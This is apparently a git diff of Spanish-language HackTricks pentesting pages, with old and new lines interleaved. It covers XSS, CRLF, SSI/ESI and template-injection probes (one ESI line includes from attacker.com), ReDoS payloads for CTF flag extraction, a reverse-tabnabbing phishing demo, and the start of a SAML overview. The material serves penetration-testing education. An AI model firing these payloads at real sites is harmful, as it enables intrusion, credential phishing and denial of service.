';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
```
## [Inyección de Plantillas en el Lado del Cliente](../client-side-template-injection-csti.md)
## [Inyección de Plantillas del Lado del Cliente](../client-side-template-injection-csti.md)
### Pruebas Básicas
```
@ -102,13 +103,13 @@ $(ls)
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
## Marcado colgante
## Marcado Colgante
### Pruebas básicas
### Pruebas Básicas
```markup
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
```
## [Inclusión de Archivos/Travesía de Rutas](../file-inclusion/)
## [Inclusión de Archivos/Recorrido de Rutas](../file-inclusion/)
### Pruebas Básicas
```bash
@ -123,7 +124,7 @@ C:/windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
```
## [Redirección Abierta](../open-redirect.md) / [Falsificación de Petición del Lado del Servidor](../ssrf-server-side-request-forgery/)
## [Redirección Abierta](../open-redirect.md) / [Falsificación de Solicitudes del Lado del Servidor](../ssrf-server-side-request-forgery/)
### Pruebas Básicas
```bash
@ -141,9 +142,9 @@ javascript:alert(1)
([a-zA-Z]+)*$
((a+)+)+$
```
## [Inclusión del Lado del Servidor/Inclusión del Lado del Borde](../server-side-inclusion-edge-side-inclusion-injection.md)
## [Inclusión del lado del servidor/Inclusion del lado del borde](../server-side-inclusion-edge-side-inclusion-injection.md)
### Pruebas Básicas
### Pruebas básicas
```markup
<!--#echo var="DATE_LOCAL" -->
<!--#exec cmd="ls" -->
@ -154,11 +155,11 @@ x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/C
```markup
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
```
## [Falsificación de Petición del Lado del Servidor](../ssrf-server-side-request-forgery/)
## [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
Se pueden utilizar las mismas pruebas que se usan para la Redirección Abierta aquí.
Las mismas pruebas utilizadas para Open Redirect se pueden usar aquí.
## [Inyección de Plantillas del Lado del Servidor](../ssti-server-side-template-injection/)
## [Server Side Template Injection](../ssti-server-side-template-injection/)
### Pruebas Básicas
```markup
@ -173,7 +174,7 @@ ${{7*7}}
```python
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
```
## [Inyección de código en el lado del servidor XSLT](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
## [Inyección del lado del servidor XSLT](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
### Pruebas básicas
```markup
@ -220,16 +221,17 @@ javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'>
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=document.location=`//localhost/mH`//>
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,32 +1,31 @@
# Denegación de Servicio de Expresiones Regulares - ReDoS
# Denegación de Servicio por Expresión Regular - ReDoS
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details>
{% endhint %}
# Denegación de Servicio de Expresiones Regulares (ReDoS)
# Denegación de Servicio por Expresión Regular (ReDoS)
Una **Denegación de Servicio de Expresiones Regulares (ReDoS)** ocurre cuando alguien aprovecha las debilidades en cómo funcionan las expresiones regulares (una forma de buscar y hacer coincidir patrones en texto). A veces, cuando se utilizan expresiones regulares, pueden volverse muy lentas, especialmente si el fragmento de texto con el que están trabajando se vuelve más grande. Esta lentitud puede ser tan grave que crece muy rápidamente incluso con pequeños aumentos en el tamaño del texto. Los atacantes pueden aprovechar este problema para hacer que un programa que utiliza expresiones regulares deje de funcionar correctamente durante mucho tiempo.
Una **Denegación de Servicio por Expresión Regular (ReDoS)** ocurre cuando alguien aprovecha las debilidades en cómo funcionan las expresiones regulares (una forma de buscar y hacer coincidir patrones en texto). A veces, cuando se utilizan expresiones regulares, pueden volverse muy lentas, especialmente si el texto con el que están trabajando se vuelve más grande. Esta lentitud puede llegar a ser tan mala que crece muy rápido con incluso pequeños aumentos en el tamaño del texto. Los atacantes pueden usar este problema para hacer que un programa que utiliza expresiones regulares deje de funcionar correctamente durante mucho tiempo.
## El Algoritmo Naïve Problemático de Regex
## El Algoritmo Naïve de Regex Problemático
**Consulta los detalles en [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
**Ver los detalles en [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
## Regex Maliciosos <a href="#evil-regexes" id="evil-regexes"></a>
## Expresiones Regulares Maliciosas <a href="#evil-regexes" id="evil-regexes"></a>
Un patrón de expresión regular malicioso es aquel que puede **quedarse atascado en una entrada manipulada causando una DoS**. Los patrones de regex maliciosos típicamente contienen agrupaciones con repetición y repetición o alternancia con superposición dentro del grupo repetido. Algunos ejemplos de patrones maliciosos incluyen:
Un patrón de expresión regular malicioso es aquel que puede **quedarse atascado con entradas diseñadas causando un DoS**. Los patrones de regex maliciosos típicamente contienen agrupaciones con repetición y repetición o alternancia con superposición dentro del grupo repetido. Algunos ejemplos de patrones maliciosos incluyen:
* (a+)+
* ([a-zA-Z]+)*
@ -34,20 +33,20 @@ Un patrón de expresión regular malicioso es aquel que puede **quedarse atascad
* (a|a?)+
* (.*a){x} para x > 10
Todos estos son vulnerables a la entrada `aaaaaaaaaaaaaaaaaaaaaaaa!`.
Todos esos son vulnerables a la entrada `aaaaaaaaaaaaaaaaaaaaaaaa!`.
## Cargas Útiles ReDoS
## Cargas Útiles de ReDoS
### Extracción de Cadena a través de ReDoS
### Exfiltración de Cadenas a través de ReDoS
En un CTF (o recompensa por errores) tal vez **controles la Regex con la que se empareja una información sensible (la bandera)**. Entonces, podría ser útil hacer que la **página se congele (tiempo de espera o tiempo de procesamiento más largo)** si la **Regex coincide** y **no si no lo hace**. De esta manera podrás **extraer** la cadena **carácter por carácter**:
En un CTF (o programa de recompensas por errores) tal vez **controlas la Regex con la que se coincide una información sensible (la bandera)**. Entonces, podría ser útil hacer que la **página se congele (timeout o tiempo de procesamiento más largo)** si la **Regex coincidió** y **no si no coincidió**. De esta manera podrás **exfiltrar** la cadena **caracter por caracter**:
* En [**este post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) puedes encontrar esta regla ReDoS: `^(?=<flag>)((.*)*)*salt$`
* En [**esta publicación**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) puedes encontrar esta regla de ReDoS: `^(?=<flag>)((.*)*)*salt$`
* Ejemplo: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
* En [**este writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) puedes encontrar esta:`<flag>(((((((.*)*)*)*)*)*)*)!`
* En [**este writeup**](https://ctftime.org/writeup/25869) él usó: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
* En [**este informe**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) puedes encontrar este: `<flag>(((((((.*)*)*)*)*)*)*)!`
* En [**este informe**](https://ctftime.org/writeup/25869) se utilizó: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
### Controlando la Entrada y la Regex de ReDoS
### Control de Entrada y Regex en ReDoS
Los siguientes son ejemplos de **ReDoS** donde **controlas** tanto la **entrada** como la **regex**:
```javascript
@ -90,16 +89,17 @@ Regexp (a+)*$ took 723 milliseconds.
* [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
* [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,26 +1,27 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Descripción
En una situación donde un **atacante** puede **controlar** el argumento **`href`** de una etiqueta **`<a`** con el atributo **`target="_blank" rel="opener"`** que va a ser clicado por una víctima, el **atacante** puede **apuntar** este **enlace** a una web bajo su control (un **sitio web** **malicioso**). Entonces, una vez que la **víctima hace clic** en el enlace y accede al sitio web del atacante, este **sitio web malicioso** podrá **controlar** la **página original** a través del objeto javascript **`window.opener`**.\
En una situación donde un **atacante** puede **controlar** el argumento **`href`** de una etiqueta **`<a`** con el atributo **`target="_blank" rel="opener"`** que va a ser clickeada por una víctima, el **atacante** **apunta** este **enlace** a una web bajo su control (un **sitio web** **malicioso**). Luego, una vez que la **víctima hace clic** en el enlace y accede al sitio web del atacante, este **sitio web** **malicioso** podrá **controlar** la **página** **original** a través del objeto javascript **`window.opener`**.\
Si la página no tiene **`rel="opener"` pero contiene `target="_blank"` y tampoco tiene `rel="noopener"`** también podría ser vulnerable.
Una forma común de abusar de este comportamiento sería **cambiar la ubicación de la web original** a través de `window.opener.location = https://attacker.com/victim.html` a una web controlada por el atacante que **se vea como la original**, de modo que pueda **imitar** el **formulario de inicio de sesión** del sitio web original y pedir credenciales al usuario.
Una forma regular de abusar de este comportamiento sería **cambiar la ubicación de la web original** a través de `window.opener.location = https://attacker.com/victim.html` a una web controlada por el atacante que **se parezca a la original**, para que pueda **imitar** el **formulario de inicio de sesión** del sitio web original y pedir credenciales al usuario.
Sin embargo, ten en cuenta que como el **atacante ahora puede controlar el objeto ventana del sitio web original** puede abusar de él de otras formas para realizar **ataques más sigilosos** (quizás modificando eventos de javascript para exfiltrar información a un servidor controlado por él?)
Sin embargo, ten en cuenta que como el **atacante ahora puede controlar el objeto de ventana del sitio web original**, puede abusar de ello de otras maneras para realizar **ataques más sigilosos** (¿quizás modificando eventos de javascript para exfiltrar información a un servidor controlado por él?)
# Resumen
@ -39,7 +40,7 @@ Enlace entre páginas padre e hijo cuando se utiliza el atributo de prevención:
## Ejemplos <a href="#examples" id="examples"></a>
Crea las siguientes páginas en una carpeta y ejecuta un servidor web con `python3 -m http.server`\
Luego, **accede** a `http://127.0.0.1:8000/`vulnerable.html, **haz clic** en el enlace y observa cómo la **URL** del **sitio web original** **cambia**.
Luego, **accede** a `http://127.0.0.1:8000/`vulnerable.html, **haz clic** en el enlace y nota cómo la **URL** del **sitio web** **original** **cambia**.
{% code title="vulnerable.html" %}
```markup
@ -79,39 +80,37 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
## Propiedades accesibles <a href="#accessible-properties" id="accessible-properties"></a>
En el escenario donde ocurre un acceso **cross-origin** (acceso entre diferentes dominios), las propiedades de la instancia de la clase JavaScript **window**, referenciadas por el objeto JavaScript **opener**, que pueden ser accedidas por un sitio malicioso se limitan a las siguientes:
En el escenario donde ocurre un acceso **cross-origin** (acceso entre diferentes dominios), las propiedades de la instancia de la clase JavaScript **window**, a la que se hace referencia mediante el objeto JavaScript **opener**, que pueden ser accedidas por un sitio malicioso están limitadas a las siguientes:
- **`opener.closed`**: Esta propiedad se accede para determinar si una ventana ha sido cerrada, devolviendo un valor booleano.
- **`opener.frames`**: Esta propiedad proporciona acceso a todos los elementos iframe dentro de la ventana actual.
- **`opener.length`**: El número de elementos iframe presentes en la ventana actual es devuelto por esta propiedad.
- **`opener.opener`**: Una referencia a la ventana que abrió la ventana actual se puede obtener a través de esta propiedad.
- **`opener.opener`**: Se puede obtener una referencia a la ventana que abrió la ventana actual a través de esta propiedad.
- **`opener.parent`**: Esta propiedad devuelve la ventana padre de la ventana actual.
- **`opener.self`**: Esta propiedad proporciona acceso a la ventana actual en sí misma.
- **`opener.top`**: Esta propiedad devuelve la ventana del navegador más superior.
- **`opener.self`**: El acceso a la ventana actual se proporciona mediante esta propiedad.
- **`opener.top`**: Esta propiedad devuelve la ventana del navegador más alta.
Sin embargo, en casos donde los dominios son idénticos, el sitio malicioso obtiene acceso a todas las propiedades expuestas por la referencia del objeto JavaScript [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window).
Sin embargo, en instancias donde los dominios son idénticos, el sitio malicioso obtiene acceso a todas las propiedades expuestas por la referencia del objeto JavaScript [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window).
# Prevención
La información de prevención está documentada en la [Hoja de Trucos de HTML5](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing).
La información de prevención está documentada en la [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing).
## Referencias
* [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,49 +1,50 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Visión general de SAML
# SAML Overview
**Security Assertion Markup Language (SAML)** permite que los proveedores de identidad (IdP) se utilicen para enviar credenciales de autorización a los proveedores de servicios (SP), facilitando el inicio de sesión único (SSO). Este enfoque simplifica la gestión de múltiples inicios de sesión al permitir que un solo conjunto de credenciales se utilice en varios sitios web. Utiliza XML para la comunicación estandarizada entre IdPs y SPs, vinculando la autenticación de la identidad del usuario con la autorización del servicio.
**Security Assertion Markup Language (SAML)** permite que los proveedores de identidad (IdP) se utilicen para enviar credenciales de autorización a los proveedores de servicios (SP), facilitando el inicio de sesión único (SSO). Este enfoque simplifica la gestión de múltiples inicios de sesión al permitir que un solo conjunto de credenciales se utilice en múltiples sitios web. Utiliza XML para la comunicación estandarizada entre IdPs y SPs, vinculando la autenticación de la identidad del usuario con la autorización del servicio.
## Comparación entre SAML y OAuth
## Comparison between SAML and OAuth
- **SAML** está diseñado para proporcionar a las empresas un mayor control sobre la seguridad del inicio de sesión SSO.
- **OAuth** está diseñado para ser más amigable para dispositivos móviles, utiliza JSON y es un esfuerzo colaborativo de empresas como Google y Twitter.
- **OAuth** está diseñado para ser más amigable con dispositivos móviles, utiliza JSON y es un esfuerzo colaborativo de empresas como Google y Twitter.
# Flujo de autenticación SAML
# SAML Authentication Flow
**Para más detalles, consulta la publicación completa en [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)**. Este es un resumen:
**For further details check the full post from [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)**. This is a summary:
El proceso de autenticación SAML implica varios pasos, como se ilustra en el esquema:
![https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg](https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg)
1. **Intento de acceso a recursos**: El usuario intenta acceder a un recurso protegido.
2. **Generación de solicitud SAML**: El SP no reconoce al usuario y genera una solicitud SAML.
3. **Redirección al IdP**: El usuario es redirigido al IdP, con la solicitud SAML pasando a través del navegador del usuario.
4. **IdP recibe la solicitud**: El IdP recibe la solicitud SAML.
5. **Autenticación en el IdP**: El IdP autentica al usuario.
6. **Validación del usuario**: El IdP valida la legitimidad del usuario para acceder al recurso solicitado.
7. **Creación de respuesta SAML**: El IdP genera una respuesta SAML que contiene las afirmaciones necesarias.
8. **Redirección a la URL ACS del SP**: El usuario es redirigido a la URL del Servicio de Consumidor de Afirmaciones (ACS) del SP.
9. **Validación de la respuesta SAML**: El ACS valida la respuesta SAML.
10. **Acceso a recursos concedido**: Se concede acceso al recurso solicitado inicialmente.
1. **Intento de Acceso a Recurso**: El usuario intenta acceder a un recurso protegido.
2. **Generación de Solicitud SAML**: El SP no reconoce al usuario y genera una Solicitud SAML.
3. **Redirección a IdP**: El usuario es redirigido al IdP, con la Solicitud SAML pasando a través del navegador del usuario.
4. **IdP Recibe la Solicitud**: El IdP recibe la Solicitud SAML.
5. **Autenticación en IdP**: El IdP autentica al usuario.
6. **Validación del Usuario**: El IdP valida la legitimidad del usuario para acceder al recurso solicitado.
7. **Creación de Respuesta SAML**: El IdP genera una Respuesta SAML que contiene las afirmaciones necesarias.
8. **Redirección a la URL ACS del SP**: El usuario es redirigido a la URL del Servicio Consumidor de Afirmaciones (ACS) del SP.
9. **Validación de la Respuesta SAML**: El ACS valida la Respuesta SAML.
10. **Acceso al Recurso Concedido**: Se concede acceso al recurso inicialmente solicitado.
# Ejemplo de solicitud SAML
# SAML Request Example
